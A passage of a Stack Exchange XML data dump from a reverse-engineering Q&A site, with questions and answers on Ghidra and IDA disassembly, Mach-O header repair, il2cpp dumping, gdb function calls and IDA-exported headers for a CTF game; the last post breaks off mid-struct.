  <row Id="25381" PostTypeId="2" ParentId="25373" CreationDate="2020-06-24T07:44:08.947" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/vmmap&quot; rel=&quot;nofollow noreferrer&quot;&gt;VMMap by SysInternals&lt;/a&gt; to inspect the memory layout of the process and determine what exactly the mysterious memory is.&lt;/p&gt;&#xA;&lt;p&gt;If it is heap memory, most likely there is a pointer to it somewhere in the process' data section, so you may be able to track it from there. Note that there can be multiple levels of indirections for a specific memory block. You may be able to use &lt;a href=&quot;https://wiki.cheatengine.org/index.php?title=Tutorials:Pointers&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheat Engine&lt;/a&gt; to discover a pointer chain to the area of interest.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-24T07:44:08.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25383" PostTypeId="2" ParentId="25370" CreationDate="2020-06-24T08:15:21.120" Score="1" Body="&lt;p&gt;It seems like you have an issue with dereferencing unallocated memory. I don't think that it's related to the heap in any way. It looks like the pointer address that is resolved by &lt;code&gt;ptr [rcx+200h]&lt;/code&gt; is in fact points to &lt;code&gt;0xFFFFFFFFFFFFFFFF&lt;/code&gt; address, and when trying to access this memory, the application crashes, because this page is not allocated.&lt;/p&gt;&#xA;&lt;p&gt;In order to investigate the issue, try to understand what is the origin of the bad &lt;code&gt;ecx&lt;/code&gt; register value that is used at &lt;code&gt;00007FF9ED373847&lt;/code&gt; - just follow in the disassembly where is it defined, and what goes wrong in your specific scenario - for example, maybe it's origin a function call, that returned an error, but the return value wasn't checked against error codes.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-06-24T08:15:21.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25384" PostTypeId="2" ParentId="25378" CreationDate="2020-06-24T08:46:14.720" Score="1" Body="&lt;p&gt;In Android there is a class named &lt;code&gt;AsyncTask&lt;/code&gt;, designed for running processes in the background without blocking the UI.&lt;/p&gt;&#xA;&lt;p&gt;The developer extends &lt;code&gt;AsyncTask&lt;/code&gt; and implements &lt;code&gt;doInBackground()&lt;/code&gt; member function which is called by the system. After instancing the derived class and calling the instance's &lt;code&gt;.execute()&lt;/code&gt; method, Android will, asynchronously call &lt;code&gt;doInBackground()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The program does not call functions of &lt;code&gt;AsyncTask&lt;/code&gt; directly.&lt;/p&gt;&#xA;&lt;p&gt;Link to documentation:&#xA;&lt;a href=&quot;https://developer.android.com/reference/android/os/AsyncTask&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.android.com/reference/android/os/AsyncTask&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-06-24T08:46:14.720" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25385" PostTypeId="1" CreationDate="2020-06-24T09:21:03.500" Score="3" ViewCount="1273" Body="&lt;p&gt;I am using Ghidra to analyze &lt;code&gt;libpng-compat.1.5.10.so&lt;/code&gt; (downloaded from Fedora mirrors).&lt;/p&gt;&#xA;&lt;p&gt;But it didn't load the expected disassembly. Then I used Objdump and IDA to check the code and they get the same results and process it correctly. Here are pictures of these three tools about the function &lt;code&gt;png_write_rows&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Ghidra:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cwR0z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cwR0z.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;we can see that from 0x6bf9, bad results are generated.&lt;/p&gt;&#xA;&lt;p&gt;For comparison, Objdump:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ps12M.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ps12M.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and IDA:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SJWLn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SJWLn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I know IDA is the best SRE tool, and I always thought Ghidra and IDA are the top 2. Objdump is a basic, standard and old tool, but why is it that Ghidra can't even get the correct disassembly code while the other two tools do? I use auto-analyze and import the binary file for both IDA and Ghidra.&#xA;How to correct these errors?&lt;/p&gt;&#xA;&lt;p&gt;By adjusting analysis options，if &lt;code&gt;Non-Returning Functions - Discovered&lt;/code&gt; is set as &lt;code&gt;false&lt;/code&gt;, it will be correct.&lt;/p&gt;&#xA;" OwnerUserId="26830" LastEditorUserId="30460" LastEditDate="2020-07-08T21:28:21.230" LastActivityDate="2020-07-08T21:28:21.230" Title="disassembly - bad results generated with ghidra but not with objdump and IDA" Tags="|ida|disassembly|ghidra|objdump|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25387" PostTypeId="1" CreationDate="2020-06-24T10:42:55.827" Score="2" ViewCount="395" Body="&lt;p&gt;I have an HID device that I'm trying to re-create using Arduino, I have captured the USB packets and I have pretty much analyzed all the data I need to operate the device, the only thing I'm not really sure about is how I should actually recreate the device with the Arduino device in terms of connection.&lt;/p&gt;&#xA;&lt;p&gt;There is a software that detects and connects to my HID device, therefore I'd need to make the Arduino being detected as this device. I'm not really sure what would be the way to achieve that, is it related to PID and VID of the HID device? I assume there are much more than that that needs to be set in order to actually achieve that.&lt;/p&gt;&#xA;" OwnerUserId="33657" LastEditorUserId="245" LastEditDate="2020-06-24T11:36:50.577" LastActivityDate="2020-11-26T08:04:00.377" Title="Reverse engineer an HID device - recreate using arduino" Tags="|usb|arduino|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25388" PostTypeId="1" AcceptedAnswerId="25402" CreationDate="2020-06-25T00:58:51.157" Score="1" ViewCount="307" Body="&lt;p&gt;I am trying to restore a binary from memory. I re-constructed the binary and analyzed it with a disassembler and it looks okay, but when inspecting the headers with otool I'm getting:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;truncated or malformed object (addr field plus size of section 8 in LC_SEGMENT_64 command 0 greater than than the segment's vmaddr plus vmsize)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Looking at the command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; struct __macho_segment_command_64 {&#xA;  LC_SEGMENT_64,                       // LC_SEGMENT_64&#xA;  0x368,                               // includes sizeof section_64 structs&#xA;  &amp;quot;__TEXT&amp;quot;, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // segment name&#xA;  0x0,                                 // memory address of this segment&#xA;  0x339000,                            // memory size of this segment&#xA;  0x0,                                 // file offset of this segment&#xA;  0x339000,                            // amount to map from the file&#xA;  0x7,                                 // maximum VM protection&#xA;  0x5,                                 // initial VM protection&#xA;  0xa,                                 // number of sections in segment&#xA;  0               &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then section 8 of that command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;struct __macho_section_64 { &#xA;  &amp;quot;__objc_classname&amp;quot;,                  // name of this section&#xA;  &amp;quot;__TEXT&amp;quot;, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // segment this section goes in&#xA;  0x2dee36,                            // memory address of this section&#xA;  0x6a,                                // size in bytes of this section&#xA;  0x2dee36,                            // file offset of this section&#xA;  0x0,                                 // section alignment (power of 2)&#xA;  0x0,                                 // file offset of relocation entries&#xA;  0x0,                                 // number of relocation entries&#xA;  S_CSTRING_LITERALS,                  // flags (section type and attributes&#xA;  0x0,                                 // reserved (for offset or index)&#xA;  0x0,                                 // reserved (for count or sizeof)&#xA;  0x0                                  // reserved&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;vmsize of this command is &lt;code&gt;0x339000&lt;/code&gt;. Section 8 starts at &lt;code&gt;0x2dee36&lt;/code&gt; and is &lt;code&gt;0x6a&lt;/code&gt; in size. So the section ends at &lt;code&gt;0x2DEEA0&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I have problems understanding how this is &amp;quot;addr field plus size of section 8 in LC_SEGMENT_64 command 0 greater than than the segment's vmaddr plus vmsize&amp;quot; given that the VM size of this command is &lt;code&gt;0x339000&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm suspecting I'm probably missing something, so my question: What adjustments are needed to restore a binary and make it executable again?&lt;/p&gt;&#xA;" OwnerUserId="33669" LastActivityDate="2020-06-26T09:01:48.817" Title="How to fix Mach-O headers from a memory-dumped binary to make it usable again?" Tags="|memory-dump|mach-o|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25391" PostTypeId="2" ParentId="21534" CreationDate="2020-06-25T15:58:04.887" Score="2" Body="&lt;p&gt;Nexide, wild guess but your game is complied with il2cpp.&#xA;You could use Scylla to dump GameAssembly.DLL&#xA;and you'll get a dumb folder and with that you use Il2cppDumper, drag both the Globalmeta.dat file and the GameAssembly.dll-Dumped file inside where all the il2cppdumper dlls are stored, then run Il2cppdumper then press GameAssembly.dll then Globalmeta data and you'll get a dummey dlls with Csharpassembly and everything else, but you won't actually get the actual code out of it, only offsets and methods, You'll have to reverse using Ida Pro to get the native code, I'm not sure if there are any other methods of decompling&lt;/p&gt;&#xA;" OwnerUserId="33676" LastActivityDate="2020-06-25T15:58:04.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25393" PostTypeId="1" CreationDate="2020-06-25T17:38:18.623" Score="2" ViewCount="478" Body="&lt;p&gt;When I debugging remote process with gdb-server and Ida, and put breakpoint in the code, when the process stopped at this breakpoint how can  I call to function and after that return to my code ?&lt;/p&gt;&#xA;" OwnerUserId="33678" LastEditorUserId="33678" LastEditDate="2020-06-25T18:07:06.793" LastActivityDate="2020-06-26T08:11:06.373" Title="How to call to function while debug" Tags="|ida|gdb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25394" PostTypeId="1" AcceptedAnswerId="25460" CreationDate="2020-06-25T18:49:52.900" Score="0" ViewCount="404" Body="&lt;p&gt;Im a noob when it comes to using reverse engineering tooling.&lt;/p&gt;&#xA;&lt;p&gt;I am doing a reversing challenge (pwn adventure 3 CTF) and I am exporting the various types from IDA. The thing is, the header files are always full of errors when I add them to the project in visual studio. Using these headers would be much convenient since I have access to them, its just frustrating that i cannot get the syntax work. I have tried exporting the whole DLL I am debugging as a header (it includes a pdb so all these are supposed to be included). I have even tried including all of the std headers (I know its a bad practice, just wanted to try whether that fixes it.)&lt;/p&gt;&#xA;&lt;p&gt;Is there something I am missing that I am supposed to do in order to have the exported headers be syntactically correct so I can use them in my development project?&lt;/p&gt;&#xA;&lt;p&gt;Maybe the pros can guide me to the correct direction with this. Cheers in advance.&lt;/p&gt;&#xA;&lt;p&gt;An example for the header exported by IDA for the ClientWorld looks the following,:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;   This file has been generated by IDA.&#xA;   It contains local type definitions from&#xA;   the type library 'GameLogic'&#xA;*/&#xA;&#xA;#define __int8 char&#xA;#define __int16 short&#xA;#define __int32 int&#xA;#define __int64 long long&#xA;&#xA;struct IPlayer;&#xA;struct ILocalPlayer;&#xA;struct std::_Tree_node&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,void *&amp;gt;;&#xA;struct std::_Tree_node&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt;,void *&amp;gt;;&#xA;struct std::_Tree_node&amp;lt;ActorRef&amp;lt;IActor&amp;gt;,void *&amp;gt;;&#xA;struct std::_Tree_node&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;,void *&amp;gt;;&#xA;struct WorldVtbl;&#xA;&#xA;/* 155 */&#xA;struct __cppobj std::_Container_base0&#xA;{&#xA;};&#xA;&#xA;/* 545 */&#xA;struct __cppobj std::_Tree_val&amp;lt;std::_Tree_simple_types&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt; &amp;gt; : std::_Container_base0&#xA;{&#xA;  std::_Tree_node&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;,void *&amp;gt; *_Myhead;&#xA;  unsigned int _Mysize;&#xA;};&#xA;&#xA;/* 549 */&#xA;struct __cppobj std::_Tree_alloc&amp;lt;0,std::_Tree_base_types&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt; &amp;gt; &amp;gt; : std::_Tree_val&amp;lt;std::_Tree_simple_types&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 550 */&#xA;struct __cppobj std::_Tree_buy&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt; &amp;gt; : std::_Tree_alloc&amp;lt;0,std::_Tree_base_types&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt; &amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 551 */&#xA;struct __cppobj std::_Tree_comp&amp;lt;0,std::_Tset_traits&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;,std::less&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt;,0&amp;gt; &amp;gt; : std::_Tree_buy&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 565 */&#xA;struct __cppobj std::_Tree&amp;lt;std::_Tset_traits&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;,std::less&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt;,0&amp;gt; &amp;gt; : std::_Tree_comp&amp;lt;0,std::_Tset_traits&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;,std::less&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt;,0&amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 687 */&#xA;struct __cppobj std::set&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;,std::less&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt; &amp;gt; : std::_Tree&amp;lt;std::_Tset_traits&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;,std::less&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt;,0&amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 322 */&#xA;struct __cppobj std::_Tree_val&amp;lt;std::_Tree_simple_types&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; : std::_Container_base0&#xA;{&#xA;  std::_Tree_node&amp;lt;ActorRef&amp;lt;IActor&amp;gt;,void *&amp;gt; *_Myhead;&#xA;  unsigned int _Mysize;&#xA;};&#xA;&#xA;/* 323 */&#xA;struct __cppobj std::_Tree_alloc&amp;lt;0,std::_Tree_base_types&amp;lt;ActorRef&amp;lt;IActor&amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; &amp;gt; : std::_Tree_val&amp;lt;std::_Tree_simple_types&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 328 */&#xA;struct __cppobj std::_Tree_buy&amp;lt;ActorRef&amp;lt;IActor&amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; : std::_Tree_alloc&amp;lt;0,std::_Tree_base_types&amp;lt;ActorRef&amp;lt;IActor&amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 542 */&#xA;struct __cppobj std::_Tree_comp&amp;lt;0,std::_Tset_traits&amp;lt;ActorRef&amp;lt;IActor&amp;gt;,std::less&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,0&amp;gt; &amp;gt; : std::_Tree_buy&amp;lt;ActorRef&amp;lt;IActor&amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 554 */&#xA;struct __cppobj std::_Tree&amp;lt;std::_Tset_traits&amp;lt;ActorRef&amp;lt;IActor&amp;gt;,std::less&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,0&amp;gt; &amp;gt; : std::_Tree_comp&amp;lt;0,std::_Tset_traits&amp;lt;ActorRef&amp;lt;IActor&amp;gt;,std::less&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,0&amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 664 */&#xA;struct __cppobj std::set&amp;lt;ActorRef&amp;lt;IActor&amp;gt;,std::less&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; : std::_Tree&amp;lt;std::_Tset_traits&amp;lt;ActorRef&amp;lt;IActor&amp;gt;,std::less&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,0&amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 304 */&#xA;struct __cppobj std::_Tree_val&amp;lt;std::_Tree_simple_types&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; &amp;gt; : std::_Container_base0&#xA;{&#xA;  std::_Tree_node&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,void *&amp;gt; *_Myhead;&#xA;  unsigned int _Mysize;&#xA;};&#xA;&#xA;/* 305 */&#xA;struct __cppobj std::_Tree_alloc&amp;lt;0,std::_Tree_base_types&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; &amp;gt; &amp;gt; : std::_Tree_val&amp;lt;std::_Tree_simple_types&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 330 */&#xA;struct __cppobj std::_Tree_buy&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; &amp;gt; : std::_Tree_alloc&amp;lt;0,std::_Tree_base_types&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; &amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 331 */&#xA;struct __cppobj std::_Tree_comp&amp;lt;0,std::_Tmap_traits&amp;lt;unsigned int,ActorRef&amp;lt;IActor&amp;gt;,std::less&amp;lt;unsigned int&amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt;,0&amp;gt; &amp;gt; : std::_Tree_buy&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 334 */&#xA;struct __cppobj std::_Tree&amp;lt;std::_Tmap_traits&amp;lt;unsigned int,ActorRef&amp;lt;IActor&amp;gt;,std::less&amp;lt;unsigned int&amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt;,0&amp;gt; &amp;gt; : std::_Tree_comp&amp;lt;0,std::_Tmap_traits&amp;lt;unsigned int,ActorRef&amp;lt;IActor&amp;gt;,std::less&amp;lt;unsigned int&amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt;,0&amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 597 */&#xA;struct __cppobj std::map&amp;lt;unsigned int,ActorRef&amp;lt;IActor&amp;gt;,std::less&amp;lt;unsigned int&amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; &amp;gt; : std::_Tree&amp;lt;std::_Tmap_traits&amp;lt;unsigned int,ActorRef&amp;lt;IActor&amp;gt;,std::less&amp;lt;unsigned int&amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;unsigned int const ,ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt;,0&amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 285 */&#xA;struct __cppobj std::_Tree_val&amp;lt;std::_Tree_simple_types&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt; &amp;gt; &amp;gt; : std::_Container_base0&#xA;{&#xA;  std::_Tree_node&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt;,void *&amp;gt; *_Myhead;&#xA;  unsigned int _Mysize;&#xA;};&#xA;&#xA;/* 286 */&#xA;struct __cppobj std::_Tree_alloc&amp;lt;0,std::_Tree_base_types&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt; &amp;gt; &amp;gt; &amp;gt; : std::_Tree_val&amp;lt;std::_Tree_simple_types&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt; &amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 393 */&#xA;struct __cppobj std::_Tree_buy&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt; &amp;gt; &amp;gt; : std::_Tree_alloc&amp;lt;0,std::_Tree_base_types&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt; &amp;gt; &amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 490 */&#xA;struct __cppobj std::_Tree_comp&amp;lt;0,std::_Tmap_traits&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;,AIZone *,std::less&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt; &amp;gt;,0&amp;gt; &amp;gt; : std::_Tree_buy&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt; &amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 513 */&#xA;struct __cppobj std::_Tree&amp;lt;std::_Tmap_traits&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;,AIZone *,std::less&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt; &amp;gt;,0&amp;gt; &amp;gt; : std::_Tree_comp&amp;lt;0,std::_Tmap_traits&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;,AIZone *,std::less&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt; &amp;gt;,0&amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 564 */&#xA;struct __cppobj std::map&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;,AIZone *,std::less&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt; &amp;gt; &amp;gt; : std::_Tree&amp;lt;std::_Tmap_traits&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;,AIZone *,std::less&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; const ,AIZone *&amp;gt; &amp;gt;,0&amp;gt; &amp;gt;&#xA;{&#xA;};&#xA;&#xA;/* 706 */&#xA;struct World&#xA;{&#xA;  WorldVtbl *vfptr;&#xA;  std::set&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;,std::less&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt; &amp;gt; m_players;&#xA;  std::set&amp;lt;ActorRef&amp;lt;IActor&amp;gt;,std::less&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt;,std::allocator&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt; 